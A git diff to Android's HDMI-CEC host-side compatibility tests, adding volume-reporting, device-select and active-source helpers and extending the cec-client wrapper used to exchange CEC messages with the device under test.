             </intent-filter>
         </activity>
     </application>
diff --git a/hostsidetests/hdmicec/app/src/android/hdmicec/app/HdmiCecAudioManager.java b/hostsidetests/hdmicec/app/src/android/hdmicec/app/HdmiCecAudioManager.java
index f04490f..8167e5f 100644
--- a/hostsidetests/hdmicec/app/src/android/hdmicec/app/HdmiCecAudioManager.java
+++ b/hostsidetests/hdmicec/app/src/android/hdmicec/app/HdmiCecAudioManager.java
@@ -30,21 +30,22 @@
  * A simple app that can be used to mute, unmute, set volume or get the volume status of a device.
  * The actions supported are:
  *
- * 1. android.hdmicec.app.MUTE: Mutes the STREAM_MUSIC of the device,
- *                              irrespective of the previous state.
- *    Usage: START_COMMAND -a android.hdmicec.app.MUTE
- * 2. android.hdmicec.app.UNMUTE: Unmutes the STREAM_MUSIC of the device,
- *                                irrespective of the previous state.
- *    Usage: START_COMMAND -a android.hdmicec.app.UNMUTE
- * 3. android.hdmicec.app.REPORT_VOLUME: Reports if the STREAM_MUSIC of the device is muted and
- *                                       if not muted, the current volume level in percent.
- *    Usage: START_COMMAND -a android.hdmicec.app.REPORT_VOLUME
- * 4. android.hdmicec.app.SET_VOLUME: Sets the volume of STREAM_MUSIC to a particular level.
- *                                    Has to be used with --ei "volumePercent" x.
- *    Usage: START_COMMAND -a android.hdmicec.app.SET_VOLUME --ei "volumePercent" x
+ * <p>1. android.hdmicec.app.MUTE: Mutes the STREAM_MUSIC of the device, irrespective of the
+ * previous state. Usage: START_COMMAND -a android.hdmicec.app.MUTE
  *
- * where START_COMMAND is
- * adb shell am start -n "android.hdmicec.app/android.hdmicec.app.HdmiCecAudioManager"
+ * <p>2. android.hdmicec.app.UNMUTE: Unmutes the STREAM_MUSIC of the device, irrespective of the
+ * previous state. Usage: START_COMMAND -a android.hdmicec.app.UNMUTE
+ *
+ * <p>3. android.hdmicec.app.REPORT_VOLUME: Reports current volume level in percent if not muted.
+ * Adds 128 to volume percent level if the device is muted. Usage: START_COMMAND -a
+ * android.hdmicec.app.REPORT_VOLUME
+ *
+ * <p>4. android.hdmicec.app.SET_VOLUME: Sets the volume of STREAM_MUSIC to a particular level. Has
+ * to be used with --ei "volumePercent" x. Usage: START_COMMAND -a android.hdmicec.app.SET_VOLUME
+ * --ei "volumePercent" x
+ *
+ * <p>where START_COMMAND is adb shell am start -n
+ * "android.hdmicec.app/android.hdmicec.app.HdmiCecAudioManager"
  */
 public class HdmiCecAudioManager extends Activity {
 
@@ -54,7 +55,8 @@
     public void onCreate(Bundle icicle) {
         super.onCreate(icicle);
         AudioManager audioManager = (AudioManager) getSystemService(Context.AUDIO_SERVICE);
-
+        int minVolume = audioManager.getStreamMinVolume(AudioManager.STREAM_MUSIC);
+        int maxVolume = audioManager.getStreamMaxVolume(AudioManager.STREAM_MUSIC);
         switch(getIntent().getAction()) {
             case "android.hdmicec.app.MUTE":
                 audioManager.adjustStreamVolume(AudioManager.STREAM_MUSIC,
@@ -65,20 +67,15 @@
                         AudioManager.ADJUST_UNMUTE, 0);
                 break;
             case "android.hdmicec.app.REPORT_VOLUME":
+                int volumeLevel = audioManager.getStreamVolume(AudioManager.STREAM_MUSIC);
+                int percentageVolume = 100 * volumeLevel / (maxVolume - minVolume);
                 if (audioManager.isStreamMute(AudioManager.STREAM_MUSIC)) {
-                    Log.i(TAG, "Device muted.");
-                } else {
-                    int minVolume = audioManager.getStreamMinVolume(AudioManager.STREAM_MUSIC);
-                    int maxVolume = audioManager.getStreamMaxVolume(AudioManager.STREAM_MUSIC);
-                    int volume = audioManager.getStreamVolume(AudioManager.STREAM_MUSIC);
-                    int percentVolume = 100 * volume / (maxVolume - minVolume);
-                    Log.i(TAG, "Volume at " + percentVolume + "%");
+                    percentageVolume += 128;
                 }
+                Log.i(TAG, "Volume at " + percentageVolume + "%");
                 break;
             case "android.hdmicec.app.SET_VOLUME":
                 int percentVolume = getIntent().getIntExtra("volumePercent", 50);
-                int minVolume = audioManager.getStreamMinVolume(AudioManager.STREAM_MUSIC);
-                int maxVolume = audioManager.getStreamMaxVolume(AudioManager.STREAM_MUSIC);
                 int volume = minVolume + ((maxVolume - minVolume) * percentVolume / 100);
                 audioManager.setStreamVolume(AudioManager.STREAM_MUSIC, volume, 0);
                 Log.i(TAG, "Set volume to " + volume + " (" + percentVolume + "%)");
diff --git a/hostsidetests/hdmicec/app/src/android/hdmicec/app/HdmiControlManagerHelper.java b/hostsidetests/hdmicec/app/src/android/hdmicec/app/HdmiControlManagerHelper.java
index 1276df1..5ff7aaa 100755
--- a/hostsidetests/hdmicec/app/src/android/hdmicec/app/HdmiControlManagerHelper.java
+++ b/hostsidetests/hdmicec/app/src/android/hdmicec/app/HdmiControlManagerHelper.java
@@ -19,55 +19,99 @@
 import android.app.Activity;
 import android.hardware.hdmi.HdmiControlManager;
 import android.hardware.hdmi.HdmiPlaybackClient;
+import android.hardware.hdmi.HdmiTvClient;
 import android.os.Bundle;
 import android.util.Log;
 
 /**
- * A simple activity that can be used to trigger actions using the HdmiControlManager.
- * The action supported is:
+ * A simple activity that can be used to trigger actions using the HdmiControlManager. The actions
+ * supported are:
  *
- * 1. android.hdmicec.app.OTP: Triggers the OTP
- *    Usage: START_COMMAND -a android.hdmicec.app.OTP
+ * <p>
  *
- * where START_COMMAND is
- * adb shell am start -n "android.hdmicec.app/android.hdmicec.app.HdmiCecControlManagerHelper"
+ * <p>1. android.hdmicec.app.OTP: Triggers the OTP
+ *
+ * <p>Usage: <code>START_COMMAND -a android.hdmicec.app.OTP</code>
+ *
+ * <p>
+ *
+ * <p>2. android.hdmicec.app.SELECT_DEVICE: Selects a device to be the active source. The logical
+ * address of the device that has to be made the active source has to passed as a parameter.
+ *
+ * <p>Usage: <code>START_COMMAND -a android.hdmicec.app.DEVICE_SELECT --ei "la" [LOGICAL_ADDRESS]
+ * </code>
+ *
+ * <p>
+ *
+ * <p>where START_COMMAND is
+ *
+ * <p><code>
+ * adb shell am start -n "android.hdmicec.app/android.hdmicec.app.HdmiControlManagerHelper"
+ * </code>
  */
 public class HdmiControlManagerHelper extends Activity {
 
     private static final String TAG = HdmiControlManagerHelper.class.getSimpleName();
+    HdmiControlManager mHdmiControlManager;
 
     @Override
     public void onCreate(Bundle icicle) {
         super.onCreate(icicle);
 
-        HdmiControlManager hdmiControlManager = getSystemService(HdmiControlManager.class);
-        if (hdmiControlManager == null) {
+        mHdmiControlManager = getSystemService(HdmiControlManager.class);
+        if (mHdmiControlManager == null) {
             Log.i(TAG, "Failed to get HdmiControlManager");
             return;
         }
 
         switch (getIntent().getAction()) {
             case "android.hdmicec.app.OTP":
-                initiateOtp(hdmiControlManager);
+                initiateOtp();
                 break;
+            case "android.hdmicec.app.DEVICE_SELECT":
+                int logicalAddress = getIntent().getIntExtra("la", 50);
+                deviceSelect(logicalAddress);
             default:
                 Log.w(TAG, "Unknown intent!");
         }
     }
 
-    private void initiateOtp(HdmiControlManager hdmiControlManager) {
-        HdmiPlaybackClient client = hdmiControlManager.getPlaybackClient();
+    private void deviceSelect(int logicalAddress) {
+        HdmiTvClient client = mHdmiControlManager.getTvClient();
+        if (client == null) {
+            Log.e(TAG, "Failed to get the TV client");
+            return;
+        }
+
+        client.deviceSelect(
+                logicalAddress,
+                (result) -> {
+                    if (result == HdmiControlManager.RESULT_SUCCESS) {
+                        Log.i(TAG, "Selected device with logical address " + logicalAddress);
+                    } else {
+                        Log.i(
+                                TAG,
+                                "Could not select device with logical address " + logicalAddress);
+                    }
+                    finishAndRemoveTask();
+                });
+    }
+
+    private void initiateOtp() {
+        HdmiPlaybackClient client = mHdmiControlManager.getPlaybackClient();
         if (client == null) {
             Log.i(TAG, "Failed to get HdmiPlaybackClient");
             return;
         }
 
-        client.oneTouchPlay((result) -> {
-            if (result == HdmiControlManager.RESULT_SUCCESS) {
-                Log.i(TAG, "OTP successful");
-            } else {
-                Log.i(TAG, "OTP failed");
-            }
-        });
+        client.oneTouchPlay(
+                (result) -> {
+                    if (result == HdmiControlManager.RESULT_SUCCESS) {
+                        Log.i(TAG, "OTP successful");
+                    } else {
+                        Log.i(TAG, "OTP failed");
+                    }
+                    finishAndRemoveTask();
+                });
     }
 }
diff --git a/hostsidetests/hdmicec/cec_adapter.md b/hostsidetests/hdmicec/cec_adapter.md
index 3a325d7..409a84e 100644
--- a/hostsidetests/hdmicec/cec_adapter.md
+++ b/hostsidetests/hdmicec/cec_adapter.md
@@ -21,7 +21,7 @@
     sudo apt-get install cec-utils
     ```
 
-    *   mac (using [MacPorts](https://guide.macports.org/#installing))
+    *   macOS (using [MacPorts](https://guide.macports.org/#installing))
 
     ```shell
      sudo /opt/local/bin/port install libcec
diff --git a/hostsidetests/hdmicec/src/android/hdmicec/cts/AudioManagerHelper.java b/hostsidetests/hdmicec/src/android/hdmicec/cts/AudioManagerHelper.java
new file mode 100644
index 0000000..88091c6
--- /dev/null
+++ b/hostsidetests/hdmicec/src/android/hdmicec/cts/AudioManagerHelper.java
@@ -0,0 +1,136 @@
+/*
+ * Copyright 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.hdmicec.cts;
+
+import java.util.ArrayList;
+import java.util.List;
+import java.util.stream.Collectors;
+import java.util.stream.IntStream;
+
+import com.android.tradefed.device.ITestDevice;
+
+/** Helper class to get DUT audio status using Audio manager app */
+public final class AudioManagerHelper {
+
+    /** The package name of the APK. */
+    private static final String PACKAGE = "android.hdmicec.app";
+
+    /** The class name of the main activity in the APK. */
+    private static final String CLASS = "HdmiCecAudioManager";
+
+    /** The command to launch the main activity. */
+    private static final String START_COMMAND =
+            String.format("am start -n %s/%s.%s -a ", PACKAGE, PACKAGE, CLASS);
+
+    /** The command to clear the main activity. */
+    private static final String CLEAR_COMMAND = String.format("pm clear %s", PACKAGE);
+
+    public static final int MAX_AUDIO_FORMATS = 4;
+    public static final int MAX_VALID_AUDIO_FORMATS = 2;
+
+    public static List<Integer> mSupportedAudioFormats = null;
+
+    public static void muteDevice(ITestDevice device, HdmiCecClientWrapper hdmiCecClient)
+            throws Exception {
+        // Clear activity
+        device.executeShellCommand(CLEAR_COMMAND);
+        // Clear logcat.
+        device.executeAdbCommand("logcat", "-c");
+        // Start the APK and wait for it to complete.
+        device.executeShellCommand(START_COMMAND + "android.hdmicec.app.MUTE");
+        // The audio device should send <Report Audio Status> message after mute.
+        hdmiCecClient.checkExpectedOutput(LogicalAddress.TV, CecOperand.REPORT_AUDIO_STATUS);
+    }
+
+    public static void unmuteDevice(ITestDevice device, HdmiCecClientWrapper hdmiCecClient)
+            throws Exception {
+        // Clear activity
+        device.executeShellCommand(CLEAR_COMMAND);
+        // Start the APK and wait for it to complete.
+        device.executeShellCommand(START_COMMAND + "android.hdmicec.app.UNMUTE");
+        // The audio device should send <Report Audio Status> message after unmute.
+        hdmiCecClient.checkExpectedOutput(LogicalAddress.TV, CecOperand.REPORT_AUDIO_STATUS);
+    }
+
+    public static boolean isDeviceMuted(ITestDevice device) throws Exception {
+        // Clear activity
+        device.executeShellCommand(CLEAR_COMMAND);
+        // Clear logcat.
+        device.executeAdbCommand("logcat", "-c");
+        // Start the APK and wait for it to complete.
+        device.executeShellCommand(START_COMMAND + "android.hdmicec.app.REPORT_VOLUME");
+        return (LogHelper.parseDutVolume(device, CLASS) >= 128);
+    }
+
+    public static void setDeviceVolume(ITestDevice device, int percentVolume) throws Exception {
+        // Clear activity
+        device.executeShellCommand(CLEAR_COMMAND);
+        // Start the APK and wait for it to complete.
+        device.executeShellCommand(
+                START_COMMAND
+                        + "android.hdmicec.app.SET_VOLUME --ei "
+                        + "\"volumePercent\" "
+                        + percentVolume);
+    }
+
+    public static int getDutAudioVolume(ITestDevice device) throws Exception {
+        // Clear activity
+        device.executeShellCommand(CLEAR_COMMAND);
+        // Clear logcat.
+        device.executeAdbCommand("logcat", "-c");
+        // Start the APK and wait for it to complete.
+        device.executeShellCommand(START_COMMAND + "android.hdmicec.app.REPORT_VOLUME");
+        return LogHelper.parseDutVolume(device, CLASS);
+    }
+
+    public static String getRequestSadFormatsParams(ITestDevice device, boolean sendValidFormats)
+            throws Exception {
+        // Clear activity
+        device.executeShellCommand(CLEAR_COMMAND);
+        // Clear logcat.
+        device.executeAdbCommand("logcat", "-c");
+        // Start the APK and wait for it to complete.
+        device.executeShellCommand(START_COMMAND + "android.hdmicec.app.GET_SUPPORTED_SAD_FORMATS");
+        mSupportedAudioFormats = LogHelper.getSupportedAudioFormats(device);
+
+        // Create a list of all the audio format codes according to CEA-861-D. Remove the supported
+        // audio format codes from it, to get the unsupported audio format codes.
+        List<Integer> mAllCodecFormats =
+                IntStream.range(1, 15).boxed().collect(Collectors.toList());
+        List<Integer> unsupportedAudioFormats = new ArrayList<>();
+        unsupportedAudioFormats.addAll(mAllCodecFormats);
+        unsupportedAudioFormats.removeAll(mSupportedAudioFormats);
+        // Create params message for REQUEST_SHORT_AUDIO_DESCRIPTOR
+        String messageParams = "";
+        int i = 0;
+        int listIndex = 0;
+        if (sendValidFormats) {
+            while (i < Math.min(MAX_VALID_AUDIO_FORMATS, mSupportedAudioFormats.size())) {
+                messageParams += CecMessage.formatParams(mSupportedAudioFormats.get(listIndex), 2);
+                i++;
+                listIndex++;
+            }
+            listIndex = 0;
+        }
+        while (i < Math.min(MAX_AUDIO_FORMATS, unsupportedAudioFormats.size())) {
+            messageParams += CecMessage.formatParams(unsupportedAudioFormats.get(listIndex), 2);
+            i++;
+            listIndex++;
+        }
+        return messageParams;
+    }
+}
diff --git a/hostsidetests/hdmicec/src/android/hdmicec/cts/BaseHdmiCecCtsTest.java b/hostsidetests/hdmicec/src/android/hdmicec/cts/BaseHdmiCecCtsTest.java
index b81972d..2b6b6d1 100644
--- a/hostsidetests/hdmicec/src/android/hdmicec/cts/BaseHdmiCecCtsTest.java
+++ b/hostsidetests/hdmicec/src/android/hdmicec/cts/BaseHdmiCecCtsTest.java
@@ -69,7 +69,9 @@
             mDutLogicalAddress = LogicalAddress.getLogicalAddress(getDumpsysLogicalAddress());
         }
         hdmiCecClient.setTargetLogicalAddress(mDutLogicalAddress);
-        hdmiCecClient.init();
+        boolean startAsTv =
+                mDutLogicalAddress.getDeviceType() != HdmiCecConstants.CEC_DEVICE_TYPE_TV;
+        hdmiCecClient.init(startAsTv, getDevice());
     }
 
     /** Class with predefined rules which can be used by HDMI CEC CTS tests. */
@@ -90,6 +92,14 @@
                         HdmiCecConstants.HDMI_DEVICE_TYPE_PROPERTY,
                         dutLogicalAddress.getDeviceTypeString());
         }
+
+        /** This rule will skip the test if the DUT belongs to the HDMI device type deviceType. */
+        public static TestRule skipDeviceType(BaseHostJUnit4Test testPointer, int deviceType) {
+            return RequiredPropertyRule.asCsvDoesNotContainsValue(
+                    testPointer,
+                    HdmiCecConstants.HDMI_DEVICE_TYPE_PROPERTY,
+                    Integer.toString(deviceType));
+        }
     }
 
     @Option(name = HdmiCecConstants.PHYSICAL_ADDRESS_NAME,
@@ -99,12 +109,16 @@
 
     /** Gets the physical address of the DUT by parsing the dumpsys hdmi_control. */
     public int getDumpsysPhysicalAddress() throws Exception {
+        return getDumpsysPhysicalAddress(getDevice());
+    }
+
+    /** Gets the physical address of the specified device by parsing the dumpsys hdmi_control. */
+    public static int getDumpsysPhysicalAddress(ITestDevice device) throws Exception {
         String line;
         String pattern = "(.*?)" + "(physical_address: )" + "(?<address>0x\\p{XDigit}{4})" +
                 "(.*?)";
         Pattern p = Pattern.compile(pattern);
         Matcher m;
-        ITestDevice device = getDevice();
         String dumpsys = device.executeShellCommand("dumpsys hdmi_control");
         BufferedReader reader = new BufferedReader(new StringReader(dumpsys));
         while ((line = reader.readLine()) != null) {
@@ -119,12 +133,16 @@
 
     /** Gets the logical address of the DUT by parsing the dumpsys hdmi_control. */
     public int getDumpsysLogicalAddress() throws Exception {
+        return getDumpsysLogicalAddress(getDevice());
+    }
+
+    /** Gets the logical address of the specified device by parsing the dumpsys hdmi_control. */
+    public static int getDumpsysLogicalAddress(ITestDevice device) throws Exception {
         String line;
         String pattern = "(.*?)" + "(mAddress: )" + "(?<address>\\d+)" +
                 "(.*?)";
         Pattern p = Pattern.compile(pattern);
         Matcher m;
-        ITestDevice device = getDevice();
         String dumpsys = device.executeShellCommand("dumpsys hdmi_control");
         BufferedReader reader = new BufferedReader(new StringReader(dumpsys));
         while ((line = reader.readLine()) != null) {
@@ -136,4 +154,39 @@
         }
         throw new Exception("Could not parse logical address from dumpsys.");
     }
+
+    /**
+     * Parses the dumpsys hdmi_control to get the logical address of the current device registered
+     * as active source.
+     */
+    public LogicalAddress getDumpsysActiveSourceLogicalAddress() throws Exception {
+        String line;
+        String pattern =
+                "(.*?)"
+                        + "(mActiveSource: )"
+                        + "(\\(0x)"
+                        + "(?<logicalAddress>\\d+)"
+                        + "(, )"
+                        + "(0x)"
+                        + "(?<physicalAddress>\\d+)"
+                        + "(\\))"
+                        + "(.*?)";
+        Pattern p = Pattern.compile(pattern);
+        Matcher m;
+        ITestDevice device = getDevice();
+        String dumpsys = device.executeShellCommand("dumpsys hdmi_control");
+        BufferedReader reader = new BufferedReader(new StringReader(dumpsys));
+        while ((line = reader.readLine()) != null) {
+            m = p.matcher(line);
+            if (m.matches()) {
+                try {
+                    int address = Integer.decode(m.group("logicalAddress"));
+                    return LogicalAddress.getLogicalAddress(address);
+                } catch (NumberFormatException ne) {
+                    throw new Exception("Could not correctly parse the logical address");
+                }
+            }
+        }
+        throw new Exception("Could not parse active source from dumpsys.");
+    }
 }
diff --git a/hostsidetests/hdmicec/src/android/hdmicec/cts/CecMessage.java b/hostsidetests/hdmicec/src/android/hdmicec/cts/CecMessage.java
index 809461b..0f720b0 100644
--- a/hostsidetests/hdmicec/src/android/hdmicec/cts/CecMessage.java
+++ b/hostsidetests/hdmicec/src/android/hdmicec/cts/CecMessage.java
@@ -141,7 +141,7 @@
     /** Assert for the DUT's physical address with the value passed from command line argument. */
     public static void assertPhysicalAddressValid(String message, int expectedPhysicalAddress) {
         int physicalAddress = getParams(message, HdmiCecConstants.PHYSICAL_ADDRESS_LENGTH);
-        assertThat(expectedPhysicalAddress).isEqualTo(physicalAddress);
+        assertThat(physicalAddress).isEqualTo(expectedPhysicalAddress);
     }
 
     private static String getNibbles(String message) {
diff --git a/hostsidetests/hdmicec/src/android/hdmicec/cts/CecOperand.java b/hostsidetests/hdmicec/src/android/hdmicec/cts/CecOperand.java
index 5aa547e..f04a1a7 100644
--- a/hostsidetests/hdmicec/src/android/hdmicec/cts/CecOperand.java
+++ b/hostsidetests/hdmicec/src/android/hdmicec/cts/CecOperand.java
@@ -21,6 +21,7 @@
 
 public enum CecOperand {
     FEATURE_ABORT(0x00),
+    IMAGE_VIEW_ON(0x04),
     TEXT_VIEW_ON(0x0d),
     SET_MENU_LANGUAGE(0x32),
     STANDBY(0x36),
diff --git a/hostsidetests/hdmicec/src/android/hdmicec/cts/HdmiCecClientWrapper.java b/hostsidetests/hdmicec/src/android/hdmicec/cts/HdmiCecClientWrapper.java
index 1fa1471..683dc51 100644
--- a/hostsidetests/hdmicec/src/android/hdmicec/cts/HdmiCecClientWrapper.java
+++ b/hostsidetests/hdmicec/src/android/hdmicec/cts/HdmiCecClientWrapper.java
@@ -16,19 +16,22 @@
 
 package android.hdmicec.cts;
 
+import com.android.tradefed.device.ITestDevice;
 import com.android.tradefed.log.LogUtil.CLog;
-import com.android.tradefed.testtype.junit4.BaseHostJUnit4Test;
 import com.android.tradefed.util.RunUtil;
 
 import org.junit.rules.ExternalResource;
 
 import java.io.BufferedReader;
 import java.io.BufferedWriter;
+import java.io.File;
+import java.io.FileReader;
 import java.io.InputStreamReader;
+import java.io.IOException;
 import java.io.OutputStreamWriter;
-import java.util.concurrent.TimeUnit;
 import java.util.ArrayList;
 import java.util.Arrays;
+import java.util.concurrent.TimeUnit;
 import java.util.List;
 import java.util.concurrent.TimeUnit;
 import java.util.regex.Pattern;
@@ -36,7 +39,6 @@
 /** Class that helps communicate with the cec-client */
 public final class HdmiCecClientWrapper extends ExternalResource {
 
-    private static final String CEC_CONSOLE_READY = "waiting for input";
     private static final int MILLISECONDS_TO_READY = 10000;
     private static final int DEFAULT_TIMEOUT = 20000;
     private static final int BUFFER_SIZE = 1024;
@@ -46,8 +48,13 @@
     private BufferedReader mInputConsole;
     private boolean mCecClientInitialised = false;
 
+    private LogicalAddress selfDevice = LogicalAddress.RECORDER_1;
     private LogicalAddress targetDevice = LogicalAddress.UNKNOWN;
     private String clientParams[];
+    private StringBuilder sendVendorCommand = new StringBuilder("cmd hdmi_control vendorcommand ");
+    private int physicalAddress = 0xFFFF;
+
+    private static final String CEC_PORT_BUSY = "unable to open the device on port";
 
     public HdmiCecClientWrapper(String ...clientParams) {
         this.clientParams = clientParams;
@@ -56,15 +63,71 @@
     @Override
     protected void after() {
         this.killCecProcess();
-    };
-
+    }
 
     void setTargetLogicalAddress(LogicalAddress dutLogicalAddress) {
         targetDevice = dutLogicalAddress;
     }
 
+    public List<String> getValidCecClientPorts() throws Exception {
+
+        List<String> listPortsCommand = new ArrayList();
+
+        listPortsCommand.add("cec-client");
+        listPortsCommand.add("-l");
+
+        List<String> comPorts = new ArrayList();
+        Process cecClient = RunUtil.getDefault().runCmdInBackground(listPortsCommand);
+        BufferedReader inputConsole =
+                new BufferedReader(new InputStreamReader(cecClient.getInputStream()));
+        while (cecClient.isAlive()) {
+            if (inputConsole.ready()) {
+                String line = inputConsole.readLine();
+                if (line.toLowerCase().contains("com port")) {
+                    String port = line.split(":")[1].trim();
+                    comPorts.add(port);
+                }
+            }
+        }
+        inputConsole.close();
+        cecClient.waitFor();
+
+        return comPorts;
+    }
+
+    boolean initValidCecClient(ITestDevice device, List<String> clientCommands) throws Exception {
+        String serialNo = device.getProperty("ro.serialno");
+        File mDeviceEntry = new File(HdmiCecConstants.CEC_MAP_FOLDER, serialNo);
+        List<String> launchCommand = new ArrayList(clientCommands);
+        try (BufferedReader reader = new BufferedReader(new FileReader(mDeviceEntry))) {
+            String port = reader.readLine();
+            launchCommand.add(port);
+            mCecClient = RunUtil.getDefault().runCmdInBackground(launchCommand);
+            mInputConsole = new BufferedReader(new InputStreamReader(mCecClient.getInputStream()));
+
+            /* Wait for the client to become ready */
+            if (checkConsoleOutput(
+                    CecClientMessage.CLIENT_CONSOLE_READY + "", MILLISECONDS_TO_READY)) {
+                        mOutputConsole =
+                                new BufferedWriter(
+                                        new OutputStreamWriter(mCecClient.getOutputStream()),
+                                        BUFFER_SIZE);
+                        return true;
+            } else {
+                CLog.e("Console did not get ready!");
+                /* Kill the unwanted cec-client process. */
+                Process killProcess = mCecClient.destroyForcibly();
+                killProcess.waitFor();
+            }
+        } catch (IOException ioe) {
+            throw new Exception("Could not open port mapping file");
+        }
+
+        return false;
+    }
+
     /** Initialise the client */
-    void init() throws Exception {
+    void init(boolean startAsTv, ITestDevice device) throws Exception {
         if (targetDevice == LogicalAddress.UNKNOWN) {
             throw new IllegalStateException("Missing logical address of the target device.");
         }
@@ -72,26 +135,28 @@
         List<String> commands = new ArrayList();
 
         commands.add("cec-client");
+
         /* "-p 2" starts the client as if it is connected to HDMI port 2, taking the physical
          * address 2.0.0.0 */
         commands.add("-p");
         commands.add("2");
+        physicalAddress = 0x2000;
+        if (startAsTv) {
+            commands.add("-t");
+            commands.add("x");
+            selfDevice = LogicalAddress.TV;
+        }
         commands.addAll(Arrays.asList(clientParams));
-
-        mCecClient = RunUtil.getDefault().runCmdInBackground(commands);
-        mInputConsole = new BufferedReader(new InputStreamReader(mCecClient.getInputStream()));
-
-        /* Wait for the client to become ready */
-        mCecClientInitialised = true;
-        if (checkConsoleOutput(CecClientMessage.CLIENT_CONSOLE_READY + "", MILLISECONDS_TO_READY)) {
-            mOutputConsole = new BufferedWriter(
-                                new OutputStreamWriter(mCecClient.getOutputStream()), BUFFER_SIZE);
-            return;
+        if (Arrays.asList(clientParams).contains("a")) {
+            selfDevice = LogicalAddress.AUDIO_SYSTEM;
         }
 
-        mCecClientInitialised = false;
+        mCecClientInitialised = true;
+        if (!initValidCecClient(device, commands)) {
+            mCecClientInitialised = false;
 
-        throw (new Exception("Could not initialise cec-client process"));
+            throw (new Exception("Could not initialise cec-client process"));
+        }
     }
 
     private void checkCecClient() throws Exception {
@@ -129,6 +194,66 @@
     }
 
     /**
+     * Broadcasts a CEC ACTIVE_SOURCE message from client device source through the output console
+     * of the cec-communication channel.
+     */
+    public void broadcastActiveSource(LogicalAddress source) throws Exception {
+        int sourcePa = (source == selfDevice) ? physicalAddress : 0xFFFF;
+        sendCecMessage(
+                source,
+                LogicalAddress.BROADCAST,
+                CecOperand.ACTIVE_SOURCE,
+                CecMessage.formatParams(sourcePa, HdmiCecConstants.PHYSICAL_ADDRESS_LENGTH));
+    }
+
+    /**
+     * Broadcasts a CEC ACTIVE_SOURCE message with physicalAddressOfActiveDevice from client device
+     * source through the output console of the cec-communication channel.
+     */
+    public void broadcastActiveSource(LogicalAddress source, int physicalAddressOfActiveDevice)
+            throws Exception {
+        sendCecMessage(
+                source,
+                LogicalAddress.BROADCAST,
+                CecOperand.ACTIVE_SOURCE,
+                CecMessage.formatParams(
+                        physicalAddressOfActiveDevice, HdmiCecConstants.PHYSICAL_ADDRESS_LENGTH));
+    }
+
+    /**
+     * Broadcasts a CEC REPORT_PHYSICAL_ADDRESS message from client device source through the output
+     * console of the cec-communication channel.
+     */
+    public void broadcastReportPhysicalAddress(LogicalAddress source) throws Exception {
+        String deviceType = CecMessage.formatParams(source.getDeviceType());
+        int sourcePa = (source == selfDevice) ? physicalAddress : 0xFFFF;
+        String physicalAddress =
+                CecMessage.formatParams(sourcePa, HdmiCecConstants.PHYSICAL_ADDRESS_LENGTH);
+        sendCecMessage(
+                source,
+                LogicalAddress.BROADCAST,
+                CecOperand.REPORT_PHYSICAL_ADDRESS,
+                physicalAddress + deviceType);
+    }
+
+    /**
+     * Broadcasts a CEC REPORT_PHYSICAL_ADDRESS message with physicalAddressToReport from client
+     * device source through the output console of the cec-communication channel.
+     */
+    public void broadcastReportPhysicalAddress(LogicalAddress source, int physicalAddressToReport)
+            throws Exception {
+        String deviceType = CecMessage.formatParams(source.getDeviceType());
+        String physicalAddress =
+                CecMessage.formatParams(
+                        physicalAddressToReport, HdmiCecConstants.PHYSICAL_ADDRESS_LENGTH);
+        sendCecMessage(
+                source,
+                LogicalAddress.BROADCAST,
+                CecOperand.REPORT_PHYSICAL_ADDRESS,
+                physicalAddress + deviceType);
+    }
+
+    /**
      * Sends a CEC message from source device to a destination device through the output console of
      * the cec-communication channel with the appended params.
      */
@@ -136,7 +261,6 @@
             CecOperand message, String params) throws Exception {
         checkCecClient();
         String sendMessageString = "tx " + source + destination + ":" + message + params;
-        CLog.e("Sending message: " + sendMessageString);
         mOutputConsole.write(sendMessageString);
         mOutputConsole.newLine();
         mOutputConsole.flush();
@@ -215,15 +339,24 @@
     public boolean checkConsoleOutput(String expectedMessage,
                                        long timeoutMillis) throws Exception {
         checkCecClient();
+        return checkConsoleOutput(expectedMessage, timeoutMillis, mInputConsole);
+    }
+
+    /** Check for any string on the specified input console */
+    public boolean checkConsoleOutput(
+            String expectedMessage, long timeoutMillis, BufferedReader inputConsole)
+            throws Exception {
         long startTime = System.currentTimeMillis();
         long endTime = startTime;
 
         while ((endTime - startTime <= timeoutMillis)) {
-            if (mInputConsole.ready()) {
-                String line = mInputConsole.readLine();
-                if (line.contains(expectedMessage)) {
+            if (inputConsole.ready()) {
+                String line = inputConsole.readLine();
+                if (line != null && line.toLowerCase().contains(expectedMessage.toLowerCase())) {
                     CLog.v("Found " + expectedMessage + " in " + line);
                     return true;
+                } else if (line.toLowerCase().contains(CEC_PORT_BUSY.toLowerCase())) {
+                    throw new CecPortBusyException();
                 }
             }
             endTime = System.currentTimeMillis();
@@ -242,7 +375,7 @@
                 "(" + source + "\\p{XDigit}):(.*)",
             Pattern.CASE_INSENSITIVE);
 
-        while ((endTime - startTime <= duration)) {
+        while ((endTime - startTime <= (duration * 1000))) {
             if (mInputConsole.ready()) {
                 String line = mInputConsole.readLine();
                 if (pattern.matcher(line).matches()) {
@@ -257,6 +390,43 @@
         return receivedOperands;
     }
 
+    /**
+     * Gets the list of logical addresses which receives messages with operand expectedMessage
+     * during a period of duration seconds.
+     */
+    public List<LogicalAddress> getAllDestLogicalAddresses(CecOperand expectedMessage, int duration)
+            throws Exception {
+        return getAllDestLogicalAddresses(expectedMessage, "", duration);
+    }
+
+    /**
+     * Gets the list of logical addresses which receives messages with operand expectedMessage and
+     * params during a period of duration seconds.
+     */
+    public List<LogicalAddress> getAllDestLogicalAddresses(
+            CecOperand expectedMessage, String params, int duration) throws Exception {
+        List<LogicalAddress> destinationAddresses = new ArrayList<>();
+        long startTime = System.currentTimeMillis();
+        long endTime = startTime;
+        Pattern pattern =
+                Pattern.compile(
+                        "(.*>>)(.*?)" + ":(" + expectedMessage + params + ")(.*)",
+                        Pattern.CASE_INSENSITIVE);
+
+        while ((endTime - startTime <= (duration * 1000))) {
+            if (mInputConsole.ready()) {
+                String line = mInputConsole.readLine();
+                if (pattern.matcher(line).matches()) {
+                    LogicalAddress destination = CecMessage.getDestination(line);
+                    if (!destinationAddresses.contains(destination)) {
+                        destinationAddresses.add(destination);
+                    }
+                }
+            }
+            endTime = System.currentTimeMillis();
